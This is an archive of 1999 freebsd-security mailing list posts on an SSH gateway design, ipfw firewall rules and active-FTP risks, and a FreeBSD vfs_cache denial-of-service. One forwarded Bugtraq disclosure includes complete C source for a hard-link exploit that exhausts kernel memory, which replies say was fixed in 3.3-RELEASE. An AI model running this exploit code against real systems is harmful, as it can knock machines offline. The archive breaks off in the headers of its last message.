(mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 73E9A14FE6 for ; Thu, 23 Sep 1999 21:45:45 -0700 (PDT) (envelope-from madscientist@thegrid.net) Received: from remus (adsl-63-193-246-169.dsl.snfc21.pacbell.net) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with SMTP id <0FIJ008KORV0QV@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Thu, 23 Sep 1999 21:45:01 -0700 (PDT) Date: Thu, 23 Sep 1999 21:45:21 -0700 From: The Mad Scientist Subject: Secure gateway to intranet X-Sender: i289861@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.19990923205643.0095ce70@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org All, I am looking for a secure way to log into a machine on an intranet. Here's what I have in mind. A user ssh-es to a machine on the boarder network. Her shell is a script/program that asks for a name of an internal machine, then ssh-es to that machine after an authentication. This way, I could only open the border and internal routers up to that machine and a proxy server and I could have a log of who goes where. I'd also like to be able to set up some kind of acl in the proggie/script that dictates which users can go to which machines. For authentication, a username/pass will do for now, but later I'd like to expand it to some kind of one time card. Some kind of transparent secure file transfer would also be great. Now, here's what I am interested in knowing. What would be a simple and secure way to implement this. (I was thinking of perl) What sort of things should I be wary of when setting this up? Is this even advisable? ^_^ Thanks in advance, -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 23: 4:47 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 563AA150FE for ; Thu, 23 Sep 1999 23:04:44 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id XAA20424; Thu, 23 Sep 1999 23:02:47 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id WAA11300; Thu, 23 Sep 1999 22:49:24 -0700 Received: from softweyr.com ([204.68.178.39]) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA07770; Thu, 23 Sep 99 23:02:44 PDT Message-Id: <37EB1405.36CDC684@softweyr.com> Date: Fri, 24 Sep 1999 00:02:45 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Warner Losh Cc: security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory References: <37E9BDF5.8B324775@softweyr.com> <199909210214.UAA22243@harmony.village.org> <199909240342.VAA45553@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Warner Losh wrote: > > In message <37E9BDF5.8B324775@softweyr.com> Wes Peters writes: > : I never got enough discussion, nor an answer from Mr. Security Officer, Sir. > > I don't recall seeing anything in this list (or security officer) > before... It has been a long couple of weeks, so maybe I missed > something... > > : Should we be publishing the SAs, or at least references to them, on > : daily.daemonnews.org? > > I think that is an excellent idea. > > : Do we feel the security and announce mailing list is enough? > > I think they are enough, but with these things the wider you can > distribute them the better. They are necessary, but not sufficient > :-) > > : I'm willing to post the FreeBSD ones if we mostly agree this is a good idea. > > Go for it! I did. ;^) I think perhaps the discussion was on the Daemon News mailing list instead of this one. Now all I have to do is round up volunteers who are subscribed to the NetBSD, OpenBSD, BSI, and Apple mailing lists to do their parts. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 1:49:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.polytechnic.edu.na (mail.polytechnic.edu.na [196.31.225.2]) by hub.freebsd.org (Postfix) with ESMTP id AB8F314D13 for ; Fri, 24 Sep 1999 01:49:41 -0700 (PDT) (envelope-from tim@iafrica.com.na) Received: from [196.31.225.199] (helo=310.priebe.alt.na) by mail.polytechnic.edu.na with smtp (Exim 3.02 #2) id 11USwV-0003YV-00; Fri, 24 Sep 1999 08:51:07 -0200 From: Tim Priebe Reply-To: tim@iafrica.com.na To: The Mad Scientist , freebsd-security@freebsd.org Subject: Re: Secure gateway to intranet Date: Fri, 24 Sep 1999 13:28:37 +0200 X-Mailer: KMail [version 1.0.17] Content-Type: text/plain References: <4.1.19990923205643.0095ce70@mail.thegrid.net> MIME-Version: 1.0 Message-Id: <99092413411000.21169@310.priebe.alt.na> Content-Transfer-Encoding: 8bit X-KMail-Mark: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 24 Sep 1999, The Mad Scientist wrote: > All, > I am looking for a secure way to log into a machine on an intranet. > Here's what I have in mind. > A user ssh-es to a machine on the boarder network. Her shell is a > script/program that asks for a name of an internal machine, then ssh-es to > that machine after an authentication. This way, I could only open the > border and internal routers up to that machine and a proxy server and I > could have a log of who goes where. I'd also like to be able to set up > some kind of acl in the proggie/script that dictates which users can go to > which machines. For authentication, a username/pass will do for now, but > later I'd like to expand it to some kind of one time card. Some kind of > transparent secure file transfer would also be great. > Now, here's what I am interested in knowing. What would be a simple and > secure way to implement this. (I was thinking of perl) What sort of > things should I be wary of when setting this up? Is this even advisable? ^_^ > Thanks in advance, > -Dean My solution to a similar problem is to use ipfw rules, together with ssh. I have a small number of fixed ip addresses on the outside, that are allowed to connect to a small number of fixed addresses on the inside. Logging can be done with the tcp setup packets. Tim. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 7: 4:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id C4621150E5 for ; Fri, 24 Sep 1999 07:04:02 -0700 (PDT) (envelope-from ady@freebsd.ady.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id RAA36387; Fri, 24 Sep 1999 17:02:25 +0300 (EEST) (envelope-from ady@freebsd.ady.ro) Date: Fri, 24 Sep 1999 17:02:25 +0300 (EEST) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: "Charles M. Hannum" Cc: BUGTRAQ@SECURITYFOCUS.COM, freebsd-security@FreeBSD.org Subject: Re: FreeBSD-specific denial of service In-Reply-To: <199909211950.PAA09009@bill-the-cat.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, On Tue, 21 Sep 1999, Charles M. Hannum wrote: > [Resending once, since it's been 10.5 days...] > > Here's an interesting denial-of-service attack against FreeBSD >=3.0 > systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no > way to purge entries unless the `vnode' (e.g. the file) they point to > is removed from memory -- which generally doesn't happen unless a > certain magic number of `vnodes' is in use, and never happens when the > `vnode' (i.e. file) is open. Thus it's possible to chew up an > arbitrary amount of wired kernel memory relatively simply. > Seems to be fixed in CVS version 1.38.2.3 of vfs_cache.c for RELENG_3 branch (meaning 3.3-STABLE) -- could you please check again ? Commit log: Limit aliases to a vnode in the namecache to a sysctl tunable 'vfs.cache.maxaliases'. This protects against a DoS via thousands of hardlinks to a file wiring down all kernel memory. Ady (@freebsd.ady.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 7:34: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id D63F014CCB for ; Fri, 24 Sep 1999 07:34:00 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA04679; Fri, 24 Sep 1999 07:33:28 -0700 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda04677; Fri Sep 24 07:33:11 1999 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id HAA63586; Fri, 24 Sep 1999 07:33:04 -0700 (PDT) Message-Id: <199909241433.HAA63586@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdb63581; Fri Sep 24 07:32:40 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: Adrian Penisoara Cc: "Charles M. Hannum" , BUGTRAQ@SECURITYFOCUS.COM, freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD-specific denial of service In-reply-to: Your message of "Fri, 24 Sep 1999 17:02:25 +0300." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 24 Sep 1999 07:32:40 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , Adrian Pe nisoara writes: > Hi, > > On Tue, 21 Sep 1999, Charles M. Hannum wrote: > > > [Resending once, since it's been 10.5 days...] > > > > Here's an interesting denial-of-service attack against FreeBSD >=3.0 > > systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no > > way to purge entries unless the `vnode' (e.g. the file) they point to > > is removed from memory -- which generally doesn't happen unless a > > certain magic number of `vnodes' is in use, and never happens when the > > `vnode' (i.e. file) is open. Thus it's possible to chew up an > > arbitrary amount of wired kernel memory relatively simply. > > > > Seems to be fixed in CVS version 1.38.2.3 of vfs_cache.c for RELENG_3 > branch (meaning 3.3-STABLE) -- could you please check again ? > > Commit log: > > Limit aliases to a vnode in the namecache to a sysctl tunable > 'vfs.cache.maxaliases'. This protects against a DoS via thousands of > hardlinks to a file wiring down all kernel memory. In other words this has been fixed in 3.3-RELEASE. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 8:13: 8 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.sminter.com.ar (ns1.via-net-works.net.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id 7563D155CA for ; Fri, 24 Sep 1999 08:12:52 -0700 (PDT) (envelope-from fpscha@ns1.sminter.com.ar) Received: (from fpscha@localhost) by ns1.sminter.com.ar (8.8.5/8.8.4) id MAA15064 for freebsd-security@freebsd.org; Fri, 24 Sep 1999 12:14:46 -0300 (GMT) From: Fernando Schapachnik Message-Id: <199909241514.MAA15064@ns1.sminter.com.ar> Subject: FreeBSD-specific denial of service (fwd) To: freebsd-security@freebsd.org Date: Fri, 24 Sep 1999 12:14:46 -0300 (GMT) Reply-To: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Anyone has a patch for this? Regards. ----- Forwarded message from Charles M. Hannum ----- From owner-bugtraq@SECURITYFOCUS.COM Wed Sep 22 14:55:30 1999 Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Message-ID: <199909211950.PAA09009@bill-the-cat.mit.edu> Date: Tue, 21 Sep 1999 15:50:58 -0400 Reply-To: "Charles M. Hannum" Sender: Bugtraq List From: "Charles M. Hannum" Subject: FreeBSD-specific denial of service X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM [Resending once, since it's been 10.5 days...] Here's an interesting denial-of-service attack against FreeBSD >=3.0 systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no way to purge entries unless the `vnode' (e.g. the file) they point to is removed from memory -- which generally doesn't happen unless a certain magic number of `vnodes' is in use, and never happens when the `vnode' (i.e. file) is open. Thus it's possible to chew up an arbitrary amount of wired kernel memory relatively simply. What strikes me as funny about this is that the relevant code in 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not* susceptible to such an attack, and all of the code to prevent it was intentionally removed. I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM, and it chugged along to about `02/03000' (meaning it created 3 files and about 63000 or so links), consuming a whopping 34MB of wired kernel memory (according to `top'), before all file system activity came to a screeching halt and the machine was unusable. This exploit does not affect Linux 2.0.36, or any version of NetBSD. I have not tested Linux versions >=2.1 (which have a different implementation of the equivalent code from 2.0.36), but based on code inspection, I do not believe it to be vulnerable to this particular attack. Note that, although it may seem like setting quotas is a good solution to this problem, if the FreeBSD system is acting as a NFS client, it's possible to use a variant of the attack that only creates one file and keeps at most one link to it at any given time. Also note that it may be possible to exercise this against a FTP server with a writable directory if the server has a way of creating hard links. (I'm not aware of any that do, but I point this out for completeness.) -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<----- #include #include #include #define NFILE 64 #define NLINK 30000 #define NCHAR 245 int main() { char junk[NCHAR+1], dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1]; int i, j; struct stat sb; memset(junk, 'x', NCHAR); junk[NCHAR] = '\0'; for (i = 0; i < NFILE; i++) { printf("\r%02d/%05d...", i, 0), fflush(stdout); sprintf(dir, "%02d-%02d", i, 0); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); sprintf(file1, "%s/%s%03d", dir, junk, 0); if (creat(file1, 0644) < 0) fprintf(stderr, "creat(%s) failed\n", file1), exit(1); if (stat(file1, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file1), exit(1); for (j = 1; j < NLINK; j++) { if ((j % 1000) == 0) { printf("\r%02d/%05d...", i, j), fflush(stdout); sprintf(dir, "%02d-%02d", i, j/1000); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); } sprintf(file2, "%s/%s%03d", dir, junk, j%1000); if (link(file1, file2) < 0) fprintf(stderr, "link(%s,%s) failed\n", file1, file2), exit(1); if (stat(file2, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file2), exit(1); } } printf("\rfinished successfully\n"); } -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<----- ----- End of forwarded message from Charles M. Hannum ----- Fernando P. Schapachnik Administración de la red VIA Net Works Argentina SA Diagonal Roque Sáenz Peña 971, 4º y 5º piso. 1035 - Capital Federal, Argentina. (54-11) 4323-3333 http://www.via-net-works.net.ar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 10:24:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 3F14C14C96 for ; Fri, 24 Sep 1999 10:24:08 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA01318; Fri, 24 Sep 1999 11:23:42 -0600 (MDT) Message-Id: <4.2.0.58.19990924111600.04809a90@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 24 Sep 1999 11:23:31 -0600 To: Monte Westlund , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: default rc.firewall In-Reply-To: <3.0.5.32.19990923152232.007c94c0@memes.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The default rc.firewall's "simple" ruleset lets through so little that it is not a good default for most users -- especially users who are creating a NAT router. (Of course, it does not work at all unless you set the variables near the beginning of the ruleset properly.) Usually, I see folks add rules like the following: # Allow access to our WWW server and vice versa $fwcmd add pass tcp from any to ${oip} 80 setup $fwcmd add pass tcp from ${oip} 80 to any setup # Allow FTP data channels in for active FTP $fwcmd add pass log tcp from any 20 to any 1024-65535 setup # Allow SSH through, both ways $fwcmd add pass tcp from any to ${oip} 22 $fwcmd add pass tcp from $oip to any 22 Remember that if you have more than one external IP you will need to duplicate many rules. --Brett At 03:22 PM 9/23/99 -0700, Monte Westlund wrote: >Hello, >I setting up a FreeBSD box as firewall to a windows LAN. I've installed 2 >NIC's. One connects to a DSL modem, the other connects to the LAN. > >Using the 'simple' firewall that is in the default rc.firewall I can't get >out from any of the machines on the LAN without adding > >allow ip from any to any > >to the ipfw rules. I have been adding it manually using 'ipfw add ....' > >Can anyone point me in the direction of an example of a 'modified' >rc.firewall for the simple firewall? Or give me an idea of what I need to >add/allow? > >Thanks, >Monte Westlund > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 10:34:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 0DB4A14F40 for ; Fri, 24 Sep 1999 10:34:43 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id LAA20453; Fri, 24 Sep 1999 11:33:15 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id LAA27644; Fri, 24 Sep 1999 11:33:14 -0600 Date: Fri, 24 Sep 1999 11:33:14 -0600 Message-Id: <199909241733.LAA27644@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Brett Glass Cc: Monte Westlund , freebsd-security@FreeBSD.ORG Subject: Re: default rc.firewall In-Reply-To: <4.2.0.58.19990924111600.04809a90@localhost> References: <3.0.5.32.19990923152232.007c94c0@memes.com> <4.2.0.58.19990924111600.04809a90@localhost> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The default rc.firewall's "simple" ruleset lets through so little that it > is not a good default for most users -- especially users who are creating > a NAT router. (Of course, it does not work at all unless you set the > variables near the beginning of the ruleset properly.) > > Usually, I see folks add rules like the following: > > # Allow access to our WWW server and vice versa > $fwcmd add pass tcp from any to ${oip} 80 setup > $fwcmd add pass tcp from ${oip} 80 to any setup Why are you allowing connections from your WWW server to folks? WWW traffic isn't generated *from* your server, but to your server. > # Allow FTP data channels in for active FTP > $fwcmd add pass log tcp from any 20 to any 1024-65535 setup Active ftp is a nightmare waiting to happen. My boxes are now all setup to only do passive mode ftp, and aside from the hassle of installing software that defaults to passive mode, they haven't noticed anything. > # Allow SSH through, both ways > $fwcmd add pass tcp from any to ${oip} 22 > $fwcmd add pass tcp from $oip to any 22 > > Remember that if you have more than one external IP you will > need to duplicate many rules. Or, if you trust your internal users, you can simply use the rule # Internal users are trusted to only create valid connections. $fwcmd add pass tcp from $oip to any setup Building a firewall is somtimes a hit/miss proposition because you never know *what* kind of traffic is being generated on a LAN, and what I've found is that too often I shut someone down from doing something they think they want. (On the other hand, with the number of hacks available to the world, we've been able to convince the users and management that some of the 'nice' services they like are no longer a good idea, usually by pointing them to a CERT advisory and/or similar document explaing how we can get broken into with the service. :( ) Nate > > --Brett > > At 03:22 PM 9/23/99 -0700, Monte Westlund wrote: > >Hello, > >I setting up a FreeBSD box as firewall to a windows LAN. I've installed 2 > >NIC's. One connects to a DSL modem, the other connects to the LAN. > > > >Using the 'simple' firewall that is in the default rc.firewall I can't get > >out from any of the machines on the LAN without adding > > > >allow ip from any to any > > > >to the ipfw rules. I have been adding it manually using 'ipfw add ....' > > > >Can anyone point me in the direction of an example of a 'modified' > >rc.firewall for the simple firewall? Or give me an idea of what I need to > >add/allow? > > > >Thanks, > >Monte Westlund > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 10:43: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 6E25015604 for ; Fri, 24 Sep 1999 10:42:26 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA01499; Fri, 24 Sep 1999 11:42:00 -0600 (MDT) Message-Id: <4.2.0.58.19990924113626.0480db00@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 24 Sep 1999 11:41:55 -0600 To: nate@mt.sri.com (Nate Williams) From: Brett Glass Subject: Re: default rc.firewall Cc: Monte Westlund , freebsd-security@FreeBSD.ORG In-Reply-To: <199909241733.LAA27644@mt.sri.com> References: <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <4.2.0.58.19990924111600.04809a90@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:33 AM 9/24/99 -0600, Nate Williams wrote: >Why are you allowing connections from your WWW server to folks? WWW >traffic isn't generated *from* your server, but to your server. Ah, but the same box is also doing NAT for internal machines. If connections on port 80 weren't allowed OUT, then people on the local "subnet 10" couldn't browse the Web. The person who posted the original message of this thread seemed to want NAT to work (please correct me if I'm wrong here). > > # Allow FTP data channels in for active FTP > > $fwcmd add pass log tcp from any 20 to any 1024-65535 setup > >Active ftp is a nightmare waiting to happen. My boxes are now all setup >to only do passive mode ftp, and aside from the hassle of installing >software that defaults to passive mode, they haven't noticed anything. Some software can't be made to do passive mode. I recently had to install this rule to get machines at a client site working. Yes, it's a significant "hole" in the firewall, but one that isn't easily exploited. >Or, if you trust your internal users, you can simply use the rule > ># Internal users are trusted to only create valid connections. > >$fwcmd add pass tcp from $oip to any setup This sort of rule is common. The main drawback is that it can let a Trojan Horse run rampant. >Building a firewall is somtimes a hit/miss proposition because you never >know *what* kind of traffic is being generated on a LAN, and what I've >found is that too often I shut someone down from doing something they >think they want. All too true. --Bret To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 10:50:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 0CAAC14F3E for ; Fri, 24 Sep 1999 10:50:24 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id LAA20647; Fri, 24 Sep 1999 11:49:57 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id LAA27881; Fri, 24 Sep 1999 11:49:56 -0600 Date: Fri, 24 Sep 1999 11:49:56 -0600 Message-Id: <199909241749.LAA27881@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Brett Glass Cc: nate@mt.sri.com (Nate Williams), Monte Westlund , freebsd-security@FreeBSD.ORG Subject: Re: default rc.firewall In-Reply-To: <4.2.0.58.19990924113626.0480db00@localhost> References: <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <199909241733.LAA27644@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >Why are you allowing connections from your WWW server to folks? WWW > >traffic isn't generated *from* your server, but to your server. > > Ah, but the same box is also doing NAT for internal machines. If > connections on port 80 weren't allowed OUT, then people on the > local "subnet 10" couldn't browse the Web. The person who posted > the original message of this thread seemed to want NAT to work > (please correct me if I'm wrong here). > > > > # Allow FTP data channels in for active FTP > > > $fwcmd add pass log tcp from any 20 to any 1024-65535 setup > > > >Active ftp is a nightmare waiting to happen. My boxes are now all setup > >to only do passive mode ftp, and aside from the hassle of installing > >software that defaults to passive mode, they haven't noticed anything. > > Some software can't be made to do passive mode. Then use different software. Seriously, active-mode ftp is an exploit waiting to happen. Anyone can connect *from* port 20 on any box and connect to any site internal to your domain. Does the word 'back-orifice' mean anything to you? People can at will connect from the ftp-data port un-detected and connect to any other services running on any TCP port > 1024. > I recently had to install this rule to get machines at a client site > working. Yes, it's a significant "hole" in the firewall, but one that > isn't easily exploited. See above. It's trivial to exploit, and allow a scanner to use port-20 to see *ANY* internal services in your network w/out detection. (Yes, I am paranoid, but it comes from experience in these sorts of things. :( ) > >Or, if you trust your internal users, you can simply use the rule > > > ># Internal users are trusted to only create valid connections. > > > >$fwcmd add pass tcp from $oip to any setup > > This sort of rule is common. The main drawback is that it can let a Trojan > Horse run rampant. Yep. However, I haven't (yet!) found a way to keep my users from whining everytime I set a more strict policy. :( Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 11: 3: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0252C15685 for ; Fri, 24 Sep 1999 11:02:59 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id MAA01748; Fri, 24 Sep 1999 12:02:33 -0600 (MDT) Message-Id: <4.2.0.58.19990924115715.0480e340@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 24 Sep 1999 12:02:29 -0600 To: nate@mt.sri.com (Nate Williams) From: Brett Glass Subject: Re: default rc.firewall Cc: nate@mt.sri.com (Nate Williams), Monte Westlund , freebsd-security@FreeBSD.ORG In-Reply-To: <199909241749.LAA27881@mt.sri.com> References: <4.2.0.58.19990924113626.0480db00@localhost> <4.2.0.58.19990924111600.04809a90@localhost> <3.0.5.32.19990923152232.007c94c0@memes.com> <199909241733.LAA27644@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:49 AM 9/24/99 -0600, Nate Williams wrote: >Then use different software. Seriously, active-mode ftp is an exploit >waiting to happen. Anyone can connect *from* port 20 on any box and >connect to any site internal to your domain. Does the word >'back-orifice' mean anything to you? Actually, that's TWO words. ;-) Seriously, I'm well aware of the issues involved. There's no reason, however, to think that blocking incoming connections from one particular port makes you safer from Trojans. A Trojan can connect OUTWARD, too, and often does. And remember the eEye IIS exploit? It let you come into the hacked Web server *on port 80*. So, any Web server that was accessible from the outside world could be hacked from the outside world. And used to compromise the rest of the network, too. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Sep 24 11:21:38 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id D42A3155DE for ; Fri, 24 Sep 1999 11:21:32 -0700 (PDT) (envelope-from freebsd@deepwell.com) Received: (qmail 22443 invoked from network); 24 Sep 1999 19:07:26 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 24 Sep 1999 19:07:26 -0000 Message-Id: <4.2.0.58.19990924110859.018517c0@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 24 Sep 1999 11:20:20 -0700 To: Brett Glass , freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: default rc.firewall In-Reply-To: <4.2.0.58.19990924115715.0480e340@localhost> References: <199909241749.LAA27881@mt.sri.com> <4.2.0.58.19990924113626.0480db00@localhost> <4.2.0.58.19990924111600.04809a90@localhost> 